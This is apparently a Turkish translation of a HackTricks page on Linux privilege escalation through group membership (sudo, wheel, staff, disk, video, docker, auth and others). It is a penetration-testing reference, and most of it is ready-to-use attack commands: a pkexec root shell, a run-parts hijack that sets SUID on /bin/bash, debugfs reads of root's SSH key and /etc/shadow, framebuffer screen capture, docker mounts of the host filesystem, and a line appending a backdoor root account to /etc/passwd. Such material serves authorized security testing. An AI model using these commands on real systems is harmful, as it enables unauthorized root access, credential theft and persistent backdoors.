Interesting Groups - Linux Privesc

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Sudo/Yönetici Grupları

PE - Yöntem 1

Bazen, varsayılan olarak (veya bazı yazılımların ihtiyaç duyması nedeniyle) /etc/sudoers dosyasının içinde bu satırlardan bazılarını bulabilirsiniz:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Bu, sudo veya admin grubuna ait herhangi bir kullanıcının sudo olarak herhangi bir şeyi çalıştırabileceği anlamına gelir.

Bu durumda, root olmak için sadece şunu çalıştırabilirsiniz:

sudo su

PE - Yöntem 2

Tüm suid ikili dosyaları bulun ve Pkexec ikilisinin olup olmadığını kontrol edin:

find / -perm -4000 2>/dev/null

Eğer pkexec ikili dosyasının bir SUID ikili dosyası olduğunu ve sudo veya admin grubuna ait olduğunuzu tespit ederseniz, muhtemelen pkexec kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz. Bu genellikle polkit politikası içindeki gruplardır. Bu politika genellikle hangi grupların pkexec'i kullanabileceğini belirler. Şununla kontrol edin:

cat /etc/polkit-1/localauthority.conf.d/*

Aşağıda, hangi grupların pkexec'i çalıştırmasına izin verildiğini ve bazı Linux dağıtımlarında varsayılan olarak sudo ve admin gruplarının göründüğünü bulacaksınız.

Root olmak için şunu çalıştırabilirsiniz:

pkexec "/bin/sh" #You will be prompted for your user password

Eğer pkexec'i çalıştırmaya çalışırsanız ve bu hata ile karşılaşırsanız:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

İzinlerinizin olmaması değil, GUI olmadan bağlı olmamanızdır. Ve bu sorun için bir çözüm yolu burada bulunmaktadır: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. 2 farklı ssh oturumuna ihtiyacınız vardır:

session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
oturum2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Grubu

Bazen, varsayılan olarak /etc/sudoers dosyasının içinde bu satırı bulabilirsiniz:

%wheel	ALL=(ALL:ALL) ALL

Bu, wheel grubuna ait herhangi bir kullanıcının sudo olarak herhangi bir şeyi çalıştırabileceği anlamına gelir.

Eğer durum buysa, root olmak için sadece şunu çalıştırabilirsiniz:

sudo su

Shadow Grubu

Grup shadow'dan kullanıcılar /etc/shadow dosyasını okuyabilirler:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Personel Grubu

staff: Kullanıcılara kök ayrıcalıklarına ihtiyaç duymadan sistemdeki (/usr/local) yerel değişiklikler eklemelerine izin verir (/usr/local/bin dizinindeki yürütülebilir dosyalar, aynı isme sahip /bin ve /usr/bin dizinlerindeki yürütülebilir dosyaları "geçersiz kılabilir"). İzleme/güvenlik ile daha fazla ilgili olan "adm" grubu ile karşılaştırın. [kaynak]

Debian dağıtımlarında, $PATH değişkeni, ayrıcalıklı kullanıcı olup olmadığınıza bakılmaksızın /usr/local/'in en yüksek öncelikle çalıştırılacağını gösterir.

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Eğer /usr/local dizinindeki bazı programları ele geçirebilirsek, kök erişim elde etmek kolay olacaktır.

run-parts programını ele geçirmek, kök erişim elde etmenin kolay bir yoludur, çünkü birçok program run-parts benzeri bir programı çalıştıracaktır (crontab, ssh girişi yapıldığında).

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

veya Yeni bir ssh oturumu oturum açıldığında.

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

Sömürü

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

Disk Grubu

Bu ayrıcalık neredeyse kök erişime eşdeğerdir çünkü makinenin içindeki tüm verilere erişebilirsiniz.

Dosyalar: /dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Dikkat edin ki debugfs kullanarak aynı zamanda dosya yazabilirsiniz. Örneğin /tmp/asd1.txt dosyasını /tmp/asd2.txt dosyasına kopyalamak için şunu yapabilirsiniz:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Ancak, root'a ait dosyaları yazmaya çalışırsanız (örneğin /etc/shadow veya /etc/passwd) "İzin Reddedildi" hatası alırsınız.

Video Grubu

w komutunu kullanarak sisteme kimin oturum açtığını bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1, kullanıcının makinedeki bir terminalde fiziksel olarak oturum açtığı anlamına gelir.

video grubu, ekran çıktısını görüntüleme iznine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunun için ekranın mevcut görüntüsünü ham veri olarak almanız ve ekranın kullandığı çözünürlüğü elde etmeniz gerekir. Ekran verisi /dev/fb0'da kaydedilebilir ve bu ekranın çözünürlüğünü /sys/class/graphics/fb0/virtual_size üzerinde bulabilirsiniz.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Kök Grubu

Varsayılan olarak, kök grubu üyelerinin bazı hizmet yapılandırma dosyalarını veya bazı kütüphane dosyalarını değiştirme erişimine sahip olabileceği veya ayrıcalıkları yükseltmek için kullanılabilecek diğer ilginç şeyler olabileceği görünüyor...

Kök üyelerin hangi dosyaları değiştirebileceğini kontrol edin:

find / -group root -perm -g=w 2>/dev/null

Docker Grubu

Bir örneğin birimine ana makinenin kök dosya sistemini bir birimin hacmine bağlayabilirsiniz, böylece örnek başladığında hemen o birime bir chroot yükler. Bu size etkili bir şekilde makinede kök erişimi sağlar.

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

Son olarak, önceki önerilerden hiçbirini beğenmediyseniz veya bir nedenle çalışmıyorsa (docker api firewall?) her zaman şu işlemi deneyebilirsiniz: ayrıcalıklı bir konteyner çalıştırın ve ondan kaçın burada açıklandığı gibi:

pageDocker Security

Docker soketi üzerinde yazma izinleriniz varsa docker soketini kötüye kullanarak ayrıcalıkları yükseltme hakkında bu yazıyı okuyun.

lxc/lxd Grubu

pageInteresting Groups - Linux Privesc

Adm Grubu

Genellikle adm grubunun üyeleri /var/log/ dizinindeki logları okuma iznine sahiptir. Bu nedenle, bu gruptaki bir kullanıcıyı ele geçirdiyseniz kesinlikle loglara bakmalısınız.

Auth Grubu

OpenBSD içinde auth grubu genellikle /etc/skey ve /var/db/yubikey dizinlerine yazma iznine sahiptir. Bu izinler, aşağıdaki açığı kötüye kullanarak kök ayrıcalıklarına yükseltilebilir: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

Sıfırdan başlayarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated